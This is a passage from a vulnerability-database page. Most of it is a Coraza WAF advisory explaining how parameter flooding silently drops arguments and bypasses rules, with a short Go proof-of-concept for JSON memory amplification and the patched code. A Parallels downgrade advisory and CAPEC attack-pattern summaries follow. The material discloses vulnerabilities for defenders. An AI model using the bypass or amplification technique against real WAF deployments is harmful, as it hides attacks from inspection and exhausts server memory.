reached; request rejected\u0027\"\n```\n\nThis protects operators with hand-rolled configurations, not just those who use the recommended file.\n\n### 3. Close the POST urlencoded body-processor gap\n\n`internal/bodyprocessors/urlencoded.go` should route through `AddPostRequestArgument` (or invoke `checkArgumentLimit` explicitly) so the cap is actually enforced for urlencoded request bodies. Currently a 10000-arg POST body populates `ARGS_POST` in full, regardless of `SecArgumentsLimit`.\n\n### 4. Make `ExtractGetArguments` order-deterministic\n\nReplace the `urlutil.ParseQuery \u2192 map \u2192 range` pattern with an ordered slice-based parse. Combined with #2, this means when the limit is hit the outcome is at least deterministic (fail-closed via the flag) rather than a probabilistic game.\n\n## Affected versions\n\nAll releases since `v3.0.0` that ship the `SecArgumentsLimit` directive (introduced in PR #812, commit `2fd87b89`, June 2023). Confirmed reproducible on `main` at commit `599ae64a` with default configuration.\n\n## References\n\n- `internal/corazawaf/transaction.go` lines 770\u2013808\n- `internal/corazawaf/waf.go` line 346 (`ArgumentLimit: 1000`)\n- `internal/bodyprocessors/urlencoded.go` line 29 (POST-side gap)\n- `internal/seclang/rule_parser.go:40` (`\u0026VAR` count syntax)\n- `internal/collections/concat_test.go:20` (`ARGS` as `ConcatCollection` of `ARGS_GET`/`ARGS_POST`/`ARGS_PATH`)\n- PR #812 \u2014 introduction of `SecArgumentsLimit`\n- ModSecurity v3 `src/transaction.cc:282-291` (same silent-drop)\n- ModSecurity v3 `modsecurity.conf-recommended` rule `id:200007` (compensating config-layer deny)\n\n\n## Resolution (2026-07-28)\n\nFixed in https://github.com/corazawaf/coraza-ghsa-6r3q-mjv7-xr8m/pull/1, implementing all four mitigation steps above, plus additional gaps found while verifying the fix (see below):\n\n1. **Compensating `coraza.conf-recommended` rules** \u2014 shipped as `ARGUMENTS_LIMIT_REACHED`-based rules (`id:200004`/`200005`, phase:1 for GET/PATH and phase:2 for POST), per-flag rather than the originally-sketched per-collection `\u0026ARGS_GET`/`\u0026ARGS_POST`/`\u0026ARGS_PATH` counts, since the flag (below) already distinguishes GET/PATH-time drops from POST-time drops without needing separate threshold rules per collection.\n2. **`ARGUMENTS_LIMIT_REACHED` transaction variable** \u2014 added, set by every argument-adding path that can drop: `AddGetRequestArgument`, `AddPostRequestArgument`, `AddPathRequestArgument`, `AddResponseArgument`, the urlencoded body processor, and (see below) the JSON body processor and the query-string/urlencoded parser itself.\n3. **`internal/bodyprocessors/urlencoded.go` now enforces the limit** \u2014 threads `ArgumentLimit` through `BodyProcessorOptions` into the body processor, closing the POST-side gap.\n4. **`ExtractGetArguments` is now order-deterministic** \u2014 via `ParseQueryOrdered`, so when the limit is hit the tail is dropped predictably instead of a randomized subset.\n\n### Additional gaps found while verifying the fix (folded into the same PR)\n\nWhile confirming this fix actually closed the class of bug, three more instances of the same underlying \"argument limit isn\u0027t really enforced\" problem turned up, overlapping with an independently-reported advisory, **GHSA-3ww9-vw83-9w5x** (JSON/urlencoded body processors ignore SecArgumentsLimit, enabling memory-exhaustion DoS):\n\n- **The JSON body processor had zero enforcement at all** (GHSA-3ww9\u0027s actual reported bug, with a working PoC: a small body decoding to a wide flat JSON array like `[1,1,1,...]` expanded into millions of `ARGS_POST` entries, exhausting memory on a single request). `readJSON`/`readItems` now stop flattening once `ArgumentLimit` entries are collected, for both request (`ARGS_POST`) and response (`RESPONSE_ARGS`) bodies \u2014 response previously received an empty `BodyProcessorOptions{}` with no limit at all.\n- **`ParseQuery`/`ParseQueryOrdered` built their entire result before any caller-side cap ran.** Even after fixing (3)/(4) above, a query string or urlencoded body with millions of pairs still spent the memory during parsing itself, before any limit check downstream ever got a chance to run. Both now accept a `limit` and stop parsing immediately once reached.\n- **`checkArgumentLimit` (and `AddResponseArgument`\u0027s equivalent) compared against `Len()`, which counts distinct keys, not total values.** `Map.Add` appends repeated-key values into the same map entry without growing it, so `a=1\u0026a=1\u0026a=1...` never tripped the limit no matter how large it grew \u2014 confirmed empirically: 1,000,000 repeats of `a=1\u0026` via the already-\"protected\" GET-argument path produced ~60MB of unbounded heap growth despite `SecArgumentsLimit 1000`. Added `Map.TotalValues()` (cheap even under this attack \u2014 it sums `len(slice)` per key, so cost is bounded by distinct keys present, not by how many values piled up under any single one of them) and switched both checks to use it.\n\nVerified before/after with heap measurements and direct parser unit tests (exactly `limit` entries returned regardless of a 1,000,000-entry adversarial input, for both repeated-key and distinct-key shapes). Full repo `go test ./... -race`, `go vet`, `gofmt`, `golangci-lint` all clean. `BenchmarkReadJSONArgumentLimit` shows the fix also cuts CPU time ~17x on a 100k-element flat array (741\u00b5s vs 12.5ms), since capped iteration stops early instead of walking the whole structure.\n\nGHSA-3ww9-vw83-9w5x\u0027s own description has been updated to point here rather than duplicating this fix in a second PR.\n\n## Follow-up (2026-09-30): byte-budget bypass in the array-length write path\n\nThe \"Resolution\" section above states that `readJSON`/`readItems` \"stop\nflattening once `ArgumentLimit` entries are collected\". That is true for\nevery per-leaf write, but not for the array-length summary entry written\nafter each `gjson.ForEach` call returns (`internal/bodyprocessors/json.go`,\nthe `if arrayLen \u003e 0` block). That write checked `argumentLimit` but never\n`byteBudget`:\n\n```go\nif arrayLen \u003e 0 {\n if argumentLimit \u003e 0 \u0026\u0026 *argCount \u003e= argumentLimit {\n iterationTruncated = true\n } else {\n k := string(objKey)\n lenStr := strconv.Itoa(arrayLen)\n res[k] = append(res[k], lenStr)\n *usedBytes += len(objKey) + len(lenStr) // accounted for, but never checked against byteBudget first\n *argCount++\n }\n}\n```\n\n`objKey` (the full flattened path) grows by roughly a fixed amount per\nnesting level, while `argCount` grows by only one per level. That is exactly\nthe amplification `byteBudget` exists to bound (see `flattenBytesFactor`),\nbut only the per-leaf write inside the `ForEach` callback checks it before\nwriting; this post-`ForEach` write does not. A long property name nested\nunder many single-element arrays inflates memory far past the configured\nbyte budget while `argumentLimit` alone never trips, because each nesting\nlevel contributes only one argument, however long its path.\n\n### PoC\n\n```go\nconst keyLen = 20000\nconst depth = 200\nbody := `{\"` + strings.Repeat(\"a\", keyLen) + `\":` + strings.Repeat(\"[\", depth) + strings.Repeat(\"]\", depth) + `}`\nres, truncated, err := readJSON(body, 1024, 1000)\n```\n\nAgainst `main` at commit `19b86824`: a 20,405-byte body produces 199 entries\ntotalling 4,020,596 bytes of flattened keys (~197x the body size) and\n`truncated=false, err=nil` -- the byte budget for a body this size is\n`len(body) * flattenBytesFactor` (~163 KB), so this is roughly 25x over\nbudget with no signal to the caller. A reviewer measured +961 MB heap growth\nend-to-end for a 1 MB body with a long property name. The recommended\n`SecRequestBodyLimit` (12.5 MiB) admits proportionally larger amplification.\nBecause every `ARGS_NAMES`-targeted regex in CRS scans these flattened keys,\nthis is also a CPU cost, not just memory. `ProcessResponse` shares the same\n`readJSON`/`readItems` code path, so `RESPONSE_ARGS` is affected identically.\n\n### Fix\n\nMove the byte-budget check into the same `else` branch as the argument-limit\ncheck, computing `lenStr` first so its length is known before the check\n(mirroring the per-leaf write\u0027s own check three lines above it):\n\n```go\nif argumentLimit \u003e 0 \u0026\u0026 *argCount \u003e= argumentLimit {\n iterationTruncated = true\n} else {\n lenStr := strconv.Itoa(arrayLen)\n if byteBudget \u003e 0 \u0026\u0026 *usedBytes+len(objKey)+len(lenStr) \u003e byteBudget {\n iterationTruncated = true\n } else {\n k := string(objKey)\n res[k] = append(res[k], lenStr)\n *usedBytes += len(objKey) + len(lenStr)\n *argCount++\n }\n}\n```\n\nVerified: the PoC above now returns `truncated=true`, with total flattened\nbytes bounded by the byte budget (163,160 bytes measured, vs. 4,020,596\nbefore the fix).\n\n### AI involvement disclosure\n\n- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.\n- **What was generated/assisted:** the vulnerability hypothesis and repro\n shape were supplied by the reporter as an existing written finding; Claude\n Sonnet 5 independently re-derived the root cause by reading the current\n source, wrote and ran a fresh PoC and heap measurement against commit\n `19b86824`, confirmed the amplification and lack of truncation, verified\n the fix closes the gap, and drafted this addendum.\n- **Review performed:** reproduced by hand by running the PoC above against\n a clean checkout of commit `19b86824` before and after the fix, comparing\n entry count, total flattened bytes, and the `truncated` flag; added and\n ran `TestReadJSONArrayLengthWriteRespectsByteBudget`, confirmed it fails\n against the pre-fix code (4,020,596 bytes, `truncated=false`) and passes\n against the fix; ran the full test suite, the build-tag matrix\n (`coraza.no_memoize`, `coraza.rule.multiphase_evaluation`,\n `coraza.rule.no_regex_multiline`), and the `testing/coreruleset` CRS\n regression suite, all green; reviewed by a human maintainer (fzipi) before\n this addendum was submitted.\n\nFix: https://github.com/corazawaf/coraza-ghsa-6r3q-mjv7-xr8m/pull/2\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: array-length entries produced while flattening JSON bodies are now held to the flattening byte budget (previously they could amplify a small body into a large memory allocation), a body over that budget now sets `REQBODY_ERROR`, and array-length entries no longer count toward `SecArgumentsLimit`. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L` (7.2, High).\n\nAttack Complexity is Low: filler arguments alone trigger the drop, on any deployment, and since 3.8.0 the drop is deterministic. Availability is Low because this advisory also covers unbounded `ARGS_POST` growth from urlencoded bodies and, in 3.8.1, JSON flattening amplification, both of which consume memory per request. The previous vector scored Confidentiality Low and Availability None.\n\nImpact metrics follow the convention used across Coraza\u0027s WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project\u0027s triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._",
"id": "GHSA-6r3q-mjv7-xr8m",
"modified": "2026-10-06T20:38:03Z",
"published": "2026-10-06T20:38:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/corazawaf/coraza/security/advisories/GHSA-6r3q-mjv7-xr8m"
},
{
"type": "WEB",
"url": "https://github.com/corazawaf/coraza/commit/146c2f79f39ad16f13787e7d67ad400f8d8cb9a3"
},
{
"type": "WEB",
"url": "https://github.com/corazawaf/coraza/commit/814e1898e083d2ff2ceb644382d0da17e930f93f"
},
{
"type": "WEB",
"url": "https://github.com/corazawaf/coraza/commit/b98359bb7e7606c95100dcc7ad490d2d624e6dea"
},
{
"type": "PACKAGE",
"url": "https://github.com/corazawaf/coraza"
},
{
"type": "WEB",
"url": "https://github.com/corazawaf/coraza/releases/tag/v3.8.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Coraza: Silent argument drop at ArgumentLimit allows bypass of ARGS-targeted rules via parameter flooding"
}
GHSA-6R7R-H64Q-J8PJ
Vulnerability from github – Published: 2024-06-20 21:31 – Updated: 2024-06-20 21:31Parallels Desktop Updater Protection Mechanism Failure Software Downgrade Vulnerability. This vulnerability allows local attackers to downgrade Parallels software on affected installations of Parallels Desktop. An attacker must first obtain the ability to execute low-privileged code on the target host system in order to exploit this vulnerability.
The specific flaw exists within the Updater service. The issue results from the lack of proper validation of version information before performing an update. An attacker can leverage this in conjunction with other vulnerabilities to escalate privileges and execute arbitrary code in the context of root. Was ZDI-CAN-19481.
{
"affected": [],
"aliases": [
"CVE-2024-6153"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-20T20:15:20Z",
"severity": "HIGH"
},
"details": "Parallels Desktop Updater Protection Mechanism Failure Software Downgrade Vulnerability. This vulnerability allows local attackers to downgrade Parallels software on affected installations of Parallels Desktop. An attacker must first obtain the ability to execute low-privileged code on the target host system in order to exploit this vulnerability.\n\nThe specific flaw exists within the Updater service. The issue results from the lack of proper validation of version information before performing an update. An attacker can leverage this in conjunction with other vulnerabilities to escalate privileges and execute arbitrary code in the context of root. Was ZDI-CAN-19481.",
"id": "GHSA-6r7r-h64q-j8pj",
"modified": "2024-06-20T21:31:45Z",
"published": "2024-06-20T21:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6153"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-24-803"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-107: Cross Site Tracing
Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-237: Escaping a Sandbox by Calling Code in Another Language
The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content
An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.
CAPEC-480: Escaping Virtualization
An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-65: Sniff Application Code
An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-74: Manipulating State
The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.
State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.
If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.